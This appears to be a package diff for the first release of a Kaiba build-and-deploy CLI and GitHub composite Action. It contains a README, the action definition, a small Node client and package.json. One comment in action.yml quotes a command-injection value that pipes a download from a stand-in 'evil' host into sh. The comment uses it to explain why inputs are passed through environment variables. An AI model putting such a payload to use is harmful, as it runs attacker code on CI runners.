@kaiba-cloud/cli 0.1.0

package/README.md

@@ -0,0 +1,70 @@
+# @kaiba-cloud/cli
+
+Build and deploy your apps to Kaiba from CI or a terminal.
+
+## Auth
+
+The CLI authenticates with a **scoped deploy token** — a `kaiba_deploy_` token an
+org admin mints in the Kaiba console (Environments → Deploy tokens). A deploy
+token grants only `build` and/or `deploy`. It is NOT an org admin key. Store it
+as a CI secret and pass it as `KAIBA_API_TOKEN`.
+
+The hub URL defaults to `https://cloud.kaiba.ai`; override it with `KAIBA_HUB_URL`
+or `--hub-url`.
+
+## CLI
+
+```bash
+kaiba build  --repo <url> --branch <ref> --image <name> [--tag <sha>] [--deploy-service <svc>]
+kaiba deploy --service <name> --image <ref>
+kaiba status
+```
+
+- `build` starts a git-mode build on your cluster and streams status until it
+  succeeds or fails. It builds a **pushed** git ref. Add `--deploy-service` to
+  roll the resulting image to that service in one step.
+- `deploy` retargets one compose service to an image and waits for it to run.
+- `status` prints each service and its live state.
+
+## GitHub Action
+
+```yaml
+jobs:
+  ship:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: ai-kaiba/kaiba-action@v1
+        with:
+          command: build
+          repo: ${{ github.server_url }}/${{ github.repository }}
+          branch: ${{ github.sha }}
+          image: web
+          tag: ${{ github.sha }}
+          service: web          # chains a deploy after the build
+          api-token: ${{ secrets.KAIBA_API_TOKEN }}
+```
+
+## Publishing (maintainers)
+
+Published manually — no CI token to rotate. From the repo root:
+
+```bash
+# 1. bump "version" in packages/kaiba-cli/package.json
+# 2. build + publish (publish runs the build via prepublishOnly)
+cd packages/kaiba-cli
+npm login            # once per machine; prompts for 2FA
+npm publish          # access:public is set in package.json; prompts for an OTP
+```
+
+Notes:
+- `npm publish` uses your interactive npm login, so no long-lived token is stored.
+- npm refuses to republish an existing version — always bump first.
+- The published tarball contains only `dist/`, `action.yml`, and this README.
+
+The composite Action runs the compiled CLI, so `dist/` must be built. `npm publish`
+builds it automatically via `prepublishOnly`; to build without publishing:
+
+```bash
+pnpm --filter @kaiba-cloud/cli build
+```

package/action.yml

@@ -0,0 +1,88 @@
+name: 'Kaiba build & deploy'
+description: 'Build an app image to your Kaiba registry and deploy it to your dev environment.'
+branding:
+  icon: 'upload-cloud'
+  color: 'blue'
+
+inputs:
+  command:
+    description: 'build | deploy | status'
+    required: true
+  api-token:
+    description: 'A scoped Kaiba deploy token (store it as a secret).'
+    required: true
+  hub-url:
+    description: 'Kaiba hub URL. Defaults to https://cloud.kaiba.ai.'
+    required: false
+  # build inputs
+  repo:
+    description: 'Git repository URL to build (build).'
+    required: false
+  branch:
+    description: 'Branch or commit ref to build (build).'
+    required: false
+  image:
+    description: 'Image name within your registry (build), or full image ref (deploy).'
+    required: false
+  tag:
+    description: 'Image tag (build). Pass the commit SHA.'
+    required: false
+  dockerfile:
+    description: 'Dockerfile path (build). Default "Dockerfile".'
+    required: false
+  context:
+    description: 'Build context subdir (build). Default ".".'
+    required: false
+  git-token:
+    description: 'Token for a private clone (build).'
+    required: false
+  # deploy inputs
+  service:
+    description: 'Compose service name to retarget (deploy, or build with chained deploy).'
+    required: false
+
+runs:
+  using: 'composite'
+  steps:
+    - name: Run kaiba
+      shell: bash
+      # Every input reaches bash ONLY through the environment — never interpolated
+      # into the script body. Interpolating `${{ inputs.* }}` into `run:` would let
+      # a value like `"; curl evil | sh; "` execute on the runner (CWE-94). The
+      # values are read as quoted shell variables below, which cannot break out.
+      env:
+        KAIBA_API_TOKEN: ${{ inputs.api-token }}
+        KAIBA_HUB_URL: ${{ inputs.hub-url }}
+        ACTION_PATH: ${{ github.action_path }}
+        IN_COMMAND: ${{ inputs.command }}
+        IN_REPO: ${{ inputs.repo }}
+        IN_BRANCH: ${{ inputs.branch }}
+        IN_IMAGE: ${{ inputs.image }}
+        IN_TAG: ${{ inputs.tag }}
+        IN_DOCKERFILE: ${{ inputs.dockerfile }}
+        IN_CONTEXT: ${{ inputs.context }}
+        IN_GIT_TOKEN: ${{ inputs.git-token }}
+        IN_SERVICE: ${{ inputs.service }}
+      run: |
+        set -euo pipefail
+        add() { [ -n "${2:-}" ] && ARGS+=("--$1" "$2") || true; }
+        ARGS=()
+        case "$IN_COMMAND" in
+          build)
+            add repo "$IN_REPO"
+            add branch "$IN_BRANCH"
+            add image "$IN_IMAGE"
+            add tag "$IN_TAG"
+            add dockerfile "$IN_DOCKERFILE"
+            add context "$IN_CONTEXT"
+            add git-token "$IN_GIT_TOKEN"
+            add deploy-service "$IN_SERVICE"
+            ;;
+          deploy)
+            add service "$IN_SERVICE"
+            add image "$IN_IMAGE"
+            ;;
+          status) ;;
+          *) echo "Unknown command: $IN_COMMAND" >&2; exit 1 ;;
+        esac
+        node "$ACTION_PATH/dist/cli.js" "$IN_COMMAND" ${ARGS[@]+"${ARGS[@]}"}

package/dist/cli.js

@@ -0,0 +1,196 @@
+#!/usr/bin/env node
+/**
+ * kaiba — build and deploy your apps from CI or a terminal.
+ *
+ *   kaiba build  --repo <url> --branch <ref> --image <name> [--tag <t>] [--deploy-service <svc>]
+ *   kaiba deploy --service <name> --image <ref>
+ *   kaiba status
+ *
+ * Auth: set KAIBA_API_TOKEN to a scoped deploy token. The hub URL defaults to
+ * https://cloud.kaiba.ai and is overridden with KAIBA_HUB_URL or --hub-url.
+ */
+import { KaibaClient, KaibaApiError } from './client.js';
+const DEFAULT_HUB_URL = 'https://cloud.kaiba.ai';
+const POLL_INTERVAL_MS = 5000;
+const BUILD_TIMEOUT_MS = 30 * 60 * 1000;
+const DEPLOY_TIMEOUT_MS = 10 * 60 * 1000;
+function parseFlags(argv) {
+    const flags = {};
+    for (let i = 0; i < argv.length; i++) {
+        const arg = argv[i];
+        if (!arg.startsWith('--'))
+            continue;
+        const key = arg.slice(2);
+        const next = argv[i + 1];
+        if (next === undefined || next.startsWith('--')) {
+            flags[key] = true;
+        }
+        else {
+            flags[key] = next;
+            i++;
+        }
+    }
+    return flags;
+}
+function required(flags, name) {
+    const v = flags[name];
+    if (typeof v !== 'string' || v.length === 0) {
+        fail(`Missing required flag --${name}`);
+    }
+    return v;
+}
+function fail(message) {
+    process.stderr.write(`✗ ${message}\n`);
+    process.exit(1);
+}
+function log(message) {
+    process.stdout.write(`${message}\n`);
+}
+function sleep(ms) {
+    return new Promise((resolve) => setTimeout(resolve, ms));
+}
+function makeClient(flags) {
+    const token = process.env.KAIBA_API_TOKEN;
+    if (!token)
+        fail('KAIBA_API_TOKEN is not set — provide a scoped deploy token');
+    const hubUrl = (typeof flags['hub-url'] === 'string' ? flags['hub-url'] : undefined) ?? process.env.KAIBA_HUB_URL ?? DEFAULT_HUB_URL;
+    return new KaibaClient({ hubUrl, token });
+}
+const TERMINAL_BUILD = new Set(['succeeded', 'failed', 'cancelled']);
+const TERMINAL_SERVICE_FAIL = new Set(['ErrImagePull', 'ImagePullBackOff', 'CrashLoopBackOff', 'error', 'failed']);
+/** 5xx responses during a poll are infrastructure hiccups, not terminal state. */
+function isTransient(status) {
+    return status >= 500;
+}
+async function runBuild(client, flags) {
+    const started = await client.startBuild({
+        repoUrl: required(flags, 'repo'),
+        branch: required(flags, 'branch'),
+        imageName: required(flags, 'image'),
+        tag: typeof flags['tag'] === 'string' ? flags['tag'] : undefined,
+        dockerfilePath: typeof flags['dockerfile'] === 'string' ? flags['dockerfile'] : undefined,
+        context: typeof flags['context'] === 'string' ? flags['context'] : undefined,
+        gitToken: typeof flags['git-token'] === 'string' ? flags['git-token'] : undefined,
+    });
+    log(`◐ build ${started.buildId} started → ${started.imageRef}`);
+    const deadline = Date.now() + BUILD_TIMEOUT_MS;
+    let last = '';
+    while (Date.now() < deadline) {
+        await sleep(POLL_INTERVAL_MS);
+        let s;
+        try {
+            s = await client.getBuild(started.buildId, started.clusterId);
+        }
+        catch (err) {
+            // A transient poll failure (cluster briefly offline, backend blip) must not
+            // fail a build that is still running. Only a terminal build status ends it.
+            if (err instanceof KaibaApiError && isTransient(err.status))
+                continue;
+            throw err;
+        }
+        if (s.status !== last) {
+            log(`◐ build ${s.status}`);
+            last = s.status;
+        }
+        if (TERMINAL_BUILD.has(s.status)) {
+            if (s.status === 'succeeded') {
+                log(`✓ build succeeded → ${started.imageRef}`);
+                return started.imageRef;
+            }
+            const reason = s.deadlineExceeded ? ' (deadline exceeded)' : s.oomKilled ? ' (out of memory)' : '';
+            await dumpBuildLogs(client, started.buildId, started.clusterId);
+            fail(`build ${s.status}${reason}${s.error ? `: ${s.error}` : ''}`);
+        }
+    }
+    fail('build timed out');
+}
+async function dumpBuildLogs(client, buildId, clusterId) {
+    try {
+        const { logs } = await client.getBuildLogs(buildId, clusterId);
+        if (logs)
+            process.stderr.write(`\n--- build logs ---\n${logs}\n------------------\n`);
+    }
+    catch {
+        // logs are best-effort on failure
+    }
+}
+async function waitForService(client, service) {
+    const deadline = Date.now() + DEPLOY_TIMEOUT_MS;
+    while (Date.now() < deadline) {
+        await sleep(POLL_INTERVAL_MS);
+        let env;
+        try {
+            env = await client.status();
+        }
+        catch (err) {
+            if (err instanceof KaibaApiError && isTransient(err.status))
+                continue;
+            throw err;
+        }
+        const svc = env.services.find((s) => s.name === service);
+        if (!svc)
+            continue;
+        if (svc.status === 'running') {
+            log(`✓ ${service} running`);
+            return;
+        }
+        if (TERMINAL_SERVICE_FAIL.has(svc.status)) {
+            fail(`${service} failed to start: ${svc.status}${svc.error ? ` (${svc.error})` : ''}`);
+        }
+        log(`◐ ${service} ${svc.status}`);
+    }
+    fail(`${service} did not become ready within the deploy timeout`);
+}
+async function runDeploy(client, service, image) {
+    await client.deploy(service, image);
+    log(`◐ deploy dispatched: ${service} → ${image}`);
+    await waitForService(client, service);
+}
+function printStatus(env) {
+    log(`● ${env.name} (${env.status})`);
+    for (const s of env.services) {
+        const mark = s.status === 'running' ? '✓' : TERMINAL_SERVICE_FAIL.has(s.status) ? '✗' : '◐';
+        log(`  ${mark} ${s.name} — ${s.status}${s.error ? ` (${s.error})` : ''}`);
+    }
+}
+async function main() {
+    const [command, ...rest] = process.argv.slice(2);
+    const flags = parseFlags(rest);
+    if (!command || command === 'help' || flags['help']) {
+        log('Usage:');
+        log('  kaiba build  --repo <url> --branch <ref> --image <name> [--tag <t>] [--dockerfile <p>] [--context <d>] [--deploy-service <svc>]');
+        log('  kaiba deploy --service <name> --image <ref>');
+        log('  kaiba status');
+        log('');
+        log('Auth: set KAIBA_API_TOKEN. Hub: KAIBA_HUB_URL or --hub-url (default https://cloud.kaiba.ai).');
+        process.exit(command ? 0 : 1);
+    }
+    const client = makeClient(flags);
+    try {
+        switch (command) {
+            case 'build': {
+                const imageRef = await runBuild(client, flags);
+                const deployService = typeof flags['deploy-service'] === 'string' ? flags['deploy-service'] : undefined;
+                if (deployService)
+                    await runDeploy(client, deployService, imageRef);
+                return;
+            }
+            case 'deploy': {
+                await runDeploy(client, required(flags, 'service'), required(flags, 'image'));
+                return;
+            }
+            case 'status': {
+                printStatus(await client.status());
+                return;
+            }
+            default:
+                fail(`Unknown command '${command}'. Run 'kaiba help'.`);
+        }
+    }
+    catch (err) {
+        if (err instanceof KaibaApiError)
+            fail(`${err.message} (HTTP ${err.status})`);
+        fail(err instanceof Error ? err.message : String(err));
+    }
+}
+void main();

package/dist/client.js

@@ -0,0 +1,52 @@
+/**
+ * HTTP client for the Kaiba CI surface (`/ci/*` on the hub). Authenticates with
+ * a scoped deploy token via `x-api-key`. Uses only the Node 18+ global `fetch`,
+ * so the CLI ships with no runtime dependencies.
+ */
+export class KaibaApiError extends Error {
+    status;
+    constructor(status, message) {
+        super(message);
+        this.status = status;
+        this.name = 'KaibaApiError';
+    }
+}
+export class KaibaClient {
+    base;
+    token;
+    constructor(opts) {
+        this.base = opts.hubUrl.replace(/\/$/, '');
+        this.token = opts.token;
+    }
+    async request(method, path, body) {
+        const res = await fetch(`${this.base}${path}`, {
+            method,
+            headers: {
+                'x-api-key': this.token,
+                ...(body ? { 'content-type': 'application/json' } : {}),
+            },
+            ...(body ? { body: JSON.stringify(body) } : {}),
+        });
+        const text = await res.text();
+        const data = text ? JSON.parse(text) : {};
+        if (!res.ok) {
+            throw new KaibaApiError(res.status, data.error ?? `${res.status} ${res.statusText}`);
+        }
+        return data;
+    }
+    startBuild(req) {
+        return this.request('POST', '/ci/builds', req);
+    }
+    getBuild(buildId, clusterId) {
+        return this.request('GET', `/ci/builds/${encodeURIComponent(buildId)}?clusterId=${encodeURIComponent(clusterId)}`);
+    }
+    getBuildLogs(buildId, clusterId) {
+        return this.request('GET', `/ci/builds/${encodeURIComponent(buildId)}/logs?clusterId=${encodeURIComponent(clusterId)}`);
+    }
+    deploy(service, image) {
+        return this.request('POST', '/ci/deploy', { service, image });
+    }
+    status() {
+        return this.request('GET', '/ci/status');
+    }
+}

package/package.json

@@ -0,0 +1,30 @@
+{
+  "name": "@kaiba-cloud/cli",
+  "version": "0.1.0",
+  "description": "Kaiba CLI — build and deploy your apps from CI or a terminal.",
+  "type": "module",
+  "license": "UNLICENSED",
+  "bin": {
+    "kaiba": "dist/cli.js"
+  },
+  "files": [
+    "dist",
+    "action.yml",
+    "README.md"
+  ],
+  "publishConfig": {
+    "access": "public"
+  },
+  "scripts": {
+    "build": "tsc -p tsconfig.json",
+    "prepublishOnly": "tsc -p tsconfig.json",
+    "check-types": "tsc --noEmit"
+  },
+  "devDependencies": {
+    "@types/node": "^20.19.43",
+    "typescript": "^5.9.3"
+  },
+  "engines": {
+    "node": ">=18"
+  }
+}